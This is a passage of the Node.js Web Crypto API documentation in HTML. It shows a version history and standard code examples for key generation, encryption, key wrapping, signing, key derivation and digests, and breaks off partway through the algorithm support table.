<li><a href="#class-aesderivedkeyparams">Class: <code>AesDerivedKeyParams</code></a>
<ul>
<li><a href="#aesderivedkeyparamsname"><code>aesDerivedKeyParams.name</code></a></li>
<li><a href="#aesderivedkeyparamslength"><code>aesDerivedKeyParams.length</code></a></li>
</ul>
</li>
<li><a href="#class-aescbcparams">Class: <code>AesCbcParams</code></a>
<ul>
<li><a href="#aescbcparamsiv"><code>aesCbcParams.iv</code></a></li>
<li><a href="#aescbcparamsname"><code>aesCbcParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-aesctrparams">Class: <code>AesCtrParams</code></a>
<ul>
<li><a href="#aesctrparamscounter"><code>aesCtrParams.counter</code></a></li>
<li><a href="#aesctrparamslength"><code>aesCtrParams.length</code></a></li>
<li><a href="#aesctrparamsname"><code>aesCtrParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-aesgcmparams">Class: <code>AesGcmParams</code></a>
<ul>
<li><a href="#aesgcmparamsadditionaldata"><code>aesGcmParams.additionalData</code></a></li>
<li><a href="#aesgcmparamsiv"><code>aesGcmParams.iv</code></a></li>
<li><a href="#aesgcmparamsname"><code>aesGcmParams.name</code></a></li>
<li><a href="#aesgcmparamstaglength"><code>aesGcmParams.tagLength</code></a></li>
</ul>
</li>
<li><a href="#class-aeskeyalgorithm">Class: <code>AesKeyAlgorithm</code></a>
<ul>
<li><a href="#aeskeyalgorithmlength"><code>aesKeyAlgorithm.length</code></a></li>
<li><a href="#aeskeyalgorithmname"><code>aesKeyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-aeskeygenparams">Class: <code>AesKeyGenParams</code></a>
<ul>
<li><a href="#aeskeygenparamslength"><code>aesKeyGenParams.length</code></a></li>
<li><a href="#aeskeygenparamsname"><code>aesKeyGenParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-ecdhkeyderiveparams">Class: <code>EcdhKeyDeriveParams</code></a>
<ul>
<li><a href="#ecdhkeyderiveparamsname"><code>ecdhKeyDeriveParams.name</code></a></li>
<li><a href="#ecdhkeyderiveparamspublic"><code>ecdhKeyDeriveParams.public</code></a></li>
</ul>
</li>
<li><a href="#class-ecdsaparams">Class: <code>EcdsaParams</code></a>
<ul>
<li><a href="#ecdsaparamshash"><code>ecdsaParams.hash</code></a></li>
<li><a href="#ecdsaparamsname"><code>ecdsaParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-eckeyalgorithm">Class: <code>EcKeyAlgorithm</code></a>
<ul>
<li><a href="#eckeyalgorithmname"><code>ecKeyAlgorithm.name</code></a></li>
<li><a href="#eckeyalgorithmnamedcurve"><code>ecKeyAlgorithm.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-eckeygenparams">Class: <code>EcKeyGenParams</code></a>
<ul>
<li><a href="#eckeygenparamsname"><code>ecKeyGenParams.name</code></a></li>
<li><a href="#eckeygenparamsnamedcurve"><code>ecKeyGenParams.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-eckeyimportparams">Class: <code>EcKeyImportParams</code></a>
<ul>
<li><a href="#eckeyimportparamsname"><code>ecKeyImportParams.name</code></a></li>
<li><a href="#eckeyimportparamsnamedcurve"><code>ecKeyImportParams.namedCurve</code></a></li>
</ul>
</li>
<li><a href="#class-ed448params">Class: <code>Ed448Params</code></a>
<ul>
<li><a href="#ed448paramsname"><code>ed448Params.name</code></a></li>
<li><a href="#ed448paramscontext"><code>ed448Params.context</code></a></li>
</ul>
</li>
<li><a href="#class-hkdfparams">Class: <code>HkdfParams</code></a>
<ul>
<li><a href="#hkdfparamshash"><code>hkdfParams.hash</code></a></li>
<li><a href="#hkdfparamsinfo"><code>hkdfParams.info</code></a></li>
<li><a href="#hkdfparamsname"><code>hkdfParams.name</code></a></li>
<li><a href="#hkdfparamssalt"><code>hkdfParams.salt</code></a></li>
</ul>
</li>
<li><a href="#class-hmacimportparams">Class: <code>HmacImportParams</code></a>
<ul>
<li><a href="#hmacimportparamshash"><code>hmacImportParams.hash</code></a></li>
<li><a href="#hmacimportparamslength"><code>hmacImportParams.length</code></a></li>
<li><a href="#hmacimportparamsname"><code>hmacImportParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-hmackeyalgorithm">Class: <code>HmacKeyAlgorithm</code></a>
<ul>
<li><a href="#hmackeyalgorithmhash"><code>hmacKeyAlgorithm.hash</code></a></li>
<li><a href="#hmackeyalgorithmlength"><code>hmacKeyAlgorithm.length</code></a></li>
<li><a href="#hmackeyalgorithmname"><code>hmacKeyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-hmackeygenparams">Class: <code>HmacKeyGenParams</code></a>
<ul>
<li><a href="#hmackeygenparamshash"><code>hmacKeyGenParams.hash</code></a></li>
<li><a href="#hmackeygenparamslength"><code>hmacKeyGenParams.length</code></a></li>
<li><a href="#hmackeygenparamsname"><code>hmacKeyGenParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-keyalgorithm">Class: <code>KeyAlgorithm</code></a>
<ul>
<li><a href="#keyalgorithmname"><code>keyAlgorithm.name</code></a></li>
</ul>
</li>
<li><a href="#class-pbkdf2params">Class: <code>Pbkdf2Params</code></a>
<ul>
<li><a href="#pbkdf2paramshash"><code>pbkdf2Params.hash</code></a></li>
<li><a href="#pbkdf2paramsiterations"><code>pbkdf2Params.iterations</code></a></li>
<li><a href="#pbkdf2paramsname"><code>pbkdf2Params.name</code></a></li>
<li><a href="#pbkdf2paramssalt"><code>pbkdf2Params.salt</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedimportparams">Class: <code>RsaHashedImportParams</code></a>
<ul>
<li><a href="#rsahashedimportparamshash"><code>rsaHashedImportParams.hash</code></a></li>
<li><a href="#rsahashedimportparamsname"><code>rsaHashedImportParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedkeyalgorithm">Class: <code>RsaHashedKeyAlgorithm</code></a>
<ul>
<li><a href="#rsahashedkeyalgorithmhash"><code>rsaHashedKeyAlgorithm.hash</code></a></li>
<li><a href="#rsahashedkeyalgorithmmoduluslength"><code>rsaHashedKeyAlgorithm.modulusLength</code></a></li>
<li><a href="#rsahashedkeyalgorithmname"><code>rsaHashedKeyAlgorithm.name</code></a></li>
<li><a href="#rsahashedkeyalgorithmpublicexponent"><code>rsaHashedKeyAlgorithm.publicExponent</code></a></li>
</ul>
</li>
<li><a href="#class-rsahashedkeygenparams">Class: <code>RsaHashedKeyGenParams</code></a>
<ul>
<li><a href="#rsahashedkeygenparamshash"><code>rsaHashedKeyGenParams.hash</code></a></li>
<li><a href="#rsahashedkeygenparamsmoduluslength"><code>rsaHashedKeyGenParams.modulusLength</code></a></li>
<li><a href="#rsahashedkeygenparamsname"><code>rsaHashedKeyGenParams.name</code></a></li>
<li><a href="#rsahashedkeygenparamspublicexponent"><code>rsaHashedKeyGenParams.publicExponent</code></a></li>
</ul>
</li>
<li><a href="#class-rsaoaepparams">Class: <code>RsaOaepParams</code></a>
<ul>
<li><a href="#rsaoaepparamslabel"><code>rsaOaepParams.label</code></a></li>
<li><a href="#rsaoaepparamsname"><code>rsaOaepParams.name</code></a></li>
</ul>
</li>
<li><a href="#class-rsapssparams">Class: <code>RsaPssParams</code></a>
<ul>
<li><a href="#rsapssparamsname"><code>rsaPssParams.name</code></a></li>
<li><a href="#rsapssparamssaltlength"><code>rsaPssParams.saltLength</code></a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul></details>

      <div role="main" id="apicontent">
        <h2>Web Crypto API<span><a class="mark" href="#web-crypto-api" id="web-crypto-api">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_web_crypto_api"></a></h2>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.13.0</td>
<td><p>Algorithms <code>Ed25519</code> and <code>X25519</code> are now stable.</p></td></tr>
<tr><td>v19.0.0</td>
<td><p>No longer experimental except for the <code>Ed25519</code>, <code>Ed448</code>, <code>X25519</code>, and <code>X448</code> algorithms.</p></td></tr>
<tr><td>v20.0.0, v18.17.0</td>
<td><p>Arguments are now coerced and validated as per their WebIDL definitions like in other Web Crypto API implementations.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Removed proprietary <code>'node.keyObject'</code> import/export format.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Removed proprietary <code>'NODE-DSA'</code>, <code>'NODE-DH'</code>, and <code>'NODE-SCRYPT'</code> algorithms.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Added <code>'Ed25519'</code>, <code>'Ed448'</code>, <code>'X25519'</code>, and <code>'X448'</code> algorithms.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Removed proprietary <code>'NODE-ED25519'</code> and <code>'NODE-ED448'</code> algorithms.</p></td></tr>
<tr><td>v18.4.0, v16.17.0</td>
<td><p>Removed proprietary <code>'NODE-X25519'</code> and <code>'NODE-X448'</code> named curves from the <code>'ECDH'</code> algorithm.</p></td></tr>
</tbody></table>
</details>
</div>

<p></p><div class="api_stability api_stability_2"><a href="documentation.html#stability-index">Stability: 2</a> - Stable</div><p></p>
<p>Node.js provides an implementation of the standard <a href="https://www.w3.org/TR/WebCryptoAPI/">Web Crypto API</a>.</p>
<p>Use <code>globalThis.crypto</code> or <code>require('node:crypto').webcrypto</code> to access this
module.</p>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

(<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) {

  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>,
    <span class="hljs-attr">hash</span>: <span class="hljs-string">'SHA-256'</span>,
    <span class="hljs-attr">length</span>: <span class="hljs-number">256</span>,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">const</span> enc = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> message = enc.<span class="hljs-title function_">encode</span>(<span class="hljs-string">'I love cupcakes'</span>);

  <span class="hljs-keyword">const</span> digest = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">sign</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>,
  }, key, message);

})();</code> <button class="copy-button">copy</button></pre>
<section><h3>Examples<span><a class="mark" href="#examples" id="examples">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_examples"></a></h3>
<div>
<h4>Generating keys<span><a class="mark" href="#generating-keys" id="generating-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_generating_keys"></a></h4>
<p>The <a href="webcrypto.html#class-subtlecrypto" class="type">&#x3C;SubtleCrypto></a> class can be used to generate symmetric (secret) keys
or asymmetric key pairs (public key and private key).</p>
<div>
<h5>AES keys<span><a class="mark" href="#aes-keys" id="aes-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_aes_keys"></a></h5>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateAesKey</span>(<span class="hljs-params">length = <span class="hljs-number">256</span></span>) {
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'AES-CBC'</span>,
    length,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'encrypt'</span>, <span class="hljs-string">'decrypt'</span>]);

  <span class="hljs-keyword">return</span> key;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h5>ECDSA key pairs<span><a class="mark" href="#ecdsa-key-pairs" id="ecdsa-key-pairs">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ecdsa_key_pairs"></a></h5>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateEcKey</span>(<span class="hljs-params">namedCurve = <span class="hljs-string">'P-521'</span></span>) {
  <span class="hljs-keyword">const</span> {
    publicKey,
    privateKey,
  } = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'ECDSA'</span>,
    namedCurve,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> { publicKey, privateKey };
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h5>Ed25519/X25519 key pairs<span><a class="mark" href="#ed25519x25519-key-pairs" id="ed25519x25519-key-pairs">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_ed25519_x25519_key_pairs"></a></h5>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateEd25519Key</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">return</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'Ed25519'</span>,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateX25519Key</span>(<span class="hljs-params"></span>) {
  <span class="hljs-keyword">return</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'X25519'</span>,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'deriveKey'</span>]);
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h5>HMAC keys<span><a class="mark" href="#hmac-keys" id="hmac-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_hmac_keys"></a></h5>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateHmacKey</span>(<span class="hljs-params">hash = <span class="hljs-string">'SHA-256'</span></span>) {
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>,
    hash,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> key;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h5>RSA key pairs<span><a class="mark" href="#rsa-key-pairs" id="rsa-key-pairs">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_rsa_key_pairs"></a></h5>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;
<span class="hljs-keyword">const</span> publicExponent = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Uint8Array</span>([<span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>]);

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateRsaKey</span>(<span class="hljs-params">modulusLength = <span class="hljs-number">2048</span>, hash = <span class="hljs-string">'SHA-256'</span></span>) {
  <span class="hljs-keyword">const</span> {
    publicKey,
    privateKey,
  } = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'RSASSA-PKCS1-v1_5'</span>,
    modulusLength,
    publicExponent,
    hash,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> { publicKey, privateKey };
}</code> <button class="copy-button">copy</button></pre>
</div></div><div>
<h4>Encryption and decryption<span><a class="mark" href="#encryption-and-decryption" id="encryption-and-decryption">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_encryption_and_decryption"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> crypto = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">aesEncrypt</span>(<span class="hljs-params">plaintext</span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> <span class="hljs-title function_">generateAesKey</span>();
  <span class="hljs-keyword">const</span> iv = crypto.<span class="hljs-title function_">getRandomValues</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Uint8Array</span>(<span class="hljs-number">16</span>));

  <span class="hljs-keyword">const</span> ciphertext = <span class="hljs-keyword">await</span> crypto.<span class="hljs-property">subtle</span>.<span class="hljs-title function_">encrypt</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'AES-CBC'</span>,
    iv,
  }, key, ec.<span class="hljs-title function_">encode</span>(plaintext));

  <span class="hljs-keyword">return</span> {
    key,
    iv,
    ciphertext,
  };
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">aesDecrypt</span>(<span class="hljs-params">ciphertext, key, iv</span>) {
  <span class="hljs-keyword">const</span> dec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextDecoder</span>();
  <span class="hljs-keyword">const</span> plaintext = <span class="hljs-keyword">await</span> crypto.<span class="hljs-property">subtle</span>.<span class="hljs-title function_">decrypt</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'AES-CBC'</span>,
    iv,
  }, key, ciphertext);

  <span class="hljs-keyword">return</span> dec.<span class="hljs-title function_">decode</span>(plaintext);
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h4>Exporting and importing keys<span><a class="mark" href="#exporting-and-importing-keys" id="exporting-and-importing-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_exporting_and_importing_keys"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateAndExportHmacKey</span>(<span class="hljs-params">format = <span class="hljs-string">'jwk'</span>, hash = <span class="hljs-string">'SHA-512'</span></span>) {
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">generateKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>,
    hash,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> subtle.<span class="hljs-title function_">exportKey</span>(format, key);
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">importHmacKey</span>(<span class="hljs-params">keyData, format = <span class="hljs-string">'jwk'</span>, hash = <span class="hljs-string">'SHA-512'</span></span>) {
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">importKey</span>(format, keyData, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>,
    hash,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> key;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h4>Wrapping and unwrapping keys<span><a class="mark" href="#wrapping-and-unwrapping-keys" id="wrapping-and-unwrapping-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_wrapping_and_unwrapping_keys"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">generateAndWrapHmacKey</span>(<span class="hljs-params">format = <span class="hljs-string">'jwk'</span>, hash = <span class="hljs-string">'SHA-512'</span></span>) {
  <span class="hljs-keyword">const</span> [
    key,
    wrappingKey,
  ] = <span class="hljs-keyword">await</span> <span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">all</span>([
    subtle.<span class="hljs-title function_">generateKey</span>({
      <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>, hash,
    }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]),
    subtle.<span class="hljs-title function_">generateKey</span>({
      <span class="hljs-attr">name</span>: <span class="hljs-string">'AES-KW'</span>,
      <span class="hljs-attr">length</span>: <span class="hljs-number">256</span>,
    }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'wrapKey'</span>, <span class="hljs-string">'unwrapKey'</span>]),
  ]);

  <span class="hljs-keyword">const</span> wrappedKey = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">wrapKey</span>(format, key, wrappingKey, <span class="hljs-string">'AES-KW'</span>);

  <span class="hljs-keyword">return</span> { wrappedKey, wrappingKey };
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">unwrapHmacKey</span>(<span class="hljs-params">
  wrappedKey,
  wrappingKey,
  format = <span class="hljs-string">'jwk'</span>,
  hash = <span class="hljs-string">'SHA-512'</span></span>) {

  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">unwrapKey</span>(
    format,
    wrappedKey,
    wrappingKey,
    <span class="hljs-string">'AES-KW'</span>,
    { <span class="hljs-attr">name</span>: <span class="hljs-string">'HMAC'</span>, hash },
    <span class="hljs-literal">true</span>,
    [<span class="hljs-string">'sign'</span>, <span class="hljs-string">'verify'</span>]);

  <span class="hljs-keyword">return</span> key;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h4>Sign and verify<span><a class="mark" href="#sign-and-verify" id="sign-and-verify">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_sign_and_verify"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">sign</span>(<span class="hljs-params">key, data</span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> signature =
    <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">sign</span>(<span class="hljs-string">'RSASSA-PKCS1-v1_5'</span>, key, ec.<span class="hljs-title function_">encode</span>(data));
  <span class="hljs-keyword">return</span> signature;
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">verify</span>(<span class="hljs-params">key, signature, data</span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> verified =
    <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">verify</span>(
      <span class="hljs-string">'RSASSA-PKCS1-v1_5'</span>,
      key,
      signature,
      ec.<span class="hljs-title function_">encode</span>(data));
  <span class="hljs-keyword">return</span> verified;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h4>Deriving bits and keys<span><a class="mark" href="#deriving-bits-and-keys" id="deriving-bits-and-keys">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_deriving_bits_and_keys"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">pbkdf2</span>(<span class="hljs-params">pass, salt, iterations = <span class="hljs-number">1000</span>, length = <span class="hljs-number">256</span></span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">importKey</span>(
    <span class="hljs-string">'raw'</span>,
    ec.<span class="hljs-title function_">encode</span>(pass),
    <span class="hljs-string">'PBKDF2'</span>,
    <span class="hljs-literal">false</span>,
    [<span class="hljs-string">'deriveBits'</span>]);
  <span class="hljs-keyword">const</span> bits = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">deriveBits</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'PBKDF2'</span>,
    <span class="hljs-attr">hash</span>: <span class="hljs-string">'SHA-512'</span>,
    <span class="hljs-attr">salt</span>: ec.<span class="hljs-title function_">encode</span>(salt),
    iterations,
  }, key, length);
  <span class="hljs-keyword">return</span> bits;
}

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">pbkdf2Key</span>(<span class="hljs-params">pass, salt, iterations = <span class="hljs-number">1000</span>, length = <span class="hljs-number">256</span></span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> keyMaterial = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">importKey</span>(
    <span class="hljs-string">'raw'</span>,
    ec.<span class="hljs-title function_">encode</span>(pass),
    <span class="hljs-string">'PBKDF2'</span>,
    <span class="hljs-literal">false</span>,
    [<span class="hljs-string">'deriveKey'</span>]);
  <span class="hljs-keyword">const</span> key = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">deriveKey</span>({
    <span class="hljs-attr">name</span>: <span class="hljs-string">'PBKDF2'</span>,
    <span class="hljs-attr">hash</span>: <span class="hljs-string">'SHA-512'</span>,
    <span class="hljs-attr">salt</span>: ec.<span class="hljs-title function_">encode</span>(salt),
    iterations,
  }, keyMaterial, {
    <span class="hljs-attr">name</span>: <span class="hljs-string">'AES-GCM'</span>,
    length,
  }, <span class="hljs-literal">true</span>, [<span class="hljs-string">'encrypt'</span>, <span class="hljs-string">'decrypt'</span>]);
  <span class="hljs-keyword">return</span> key;
}</code> <button class="copy-button">copy</button></pre>
</div><div>
<h4>Digest<span><a class="mark" href="#digest" id="digest">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_digest"></a></h4>
<pre><code class="language-js"><span class="hljs-keyword">const</span> { subtle } = globalThis.<span class="hljs-property">crypto</span>;

<span class="hljs-keyword">async</span> <span class="hljs-keyword">function</span> <span class="hljs-title function_">digest</span>(<span class="hljs-params">data, algorithm = <span class="hljs-string">'SHA-512'</span></span>) {
  <span class="hljs-keyword">const</span> ec = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TextEncoder</span>();
  <span class="hljs-keyword">const</span> digest = <span class="hljs-keyword">await</span> subtle.<span class="hljs-title function_">digest</span>(algorithm, ec.<span class="hljs-title function_">encode</span>(data));
  <span class="hljs-keyword">return</span> digest;
}</code> <button class="copy-button">copy</button></pre>
</div>
</section><section><h3>Algorithm matrix<span><a class="mark" href="#algorithm-matrix" id="algorithm-matrix">#</a></span><a aria-hidden="true" class="legacy" id="webcrypto_algorithm_matrix"></a></h3>
<p>The table details the algorithms supported by the Node.js Web Crypto API
implementation and the APIs supported for each:</p>
































































































































































































































































































































<table><thead><tr><th>Algorithm</th><th><code>generateKey</code></th><th><code>exportKey</code></th><th><code>importKey</code></th><th><code>encrypt</code></th><th><code>decrypt</code></th><th><code>wrapKey</code></th><th><code>unwrapKey</code></th><th><code>deriveBits</code></th><th><code>deriveKey</code></th><th><code>sign</code></th><th><code>verify</code></th><th><code>digest</code></th></tr></thead><tbody><tr><td><code>'RSASSA-PKCS1-v1_5'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSA-PSS'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'RSA-OAEP'</code></td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><code>'ECDSA'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'Ed25519'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'Ed448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1" data-footnote-ref="" aria-describedby="footnote-label">1</a></sup></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td></tr><tr><td><code>'ECDH'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td></tr><tr><td><code>'X25519'</code></td><td>✔</td><td>✔</td><td>✔</td><td></td><td></td><td></td><td></td><td>✔</td><td>✔</td><td></td><td></td><td></td></tr><tr><td><code>'X448'</code> <span class="experimental-inline"></span><sup><a href="#user-content-fn-1" id="user-content-fnref-1-2" data-footnote-ref="" 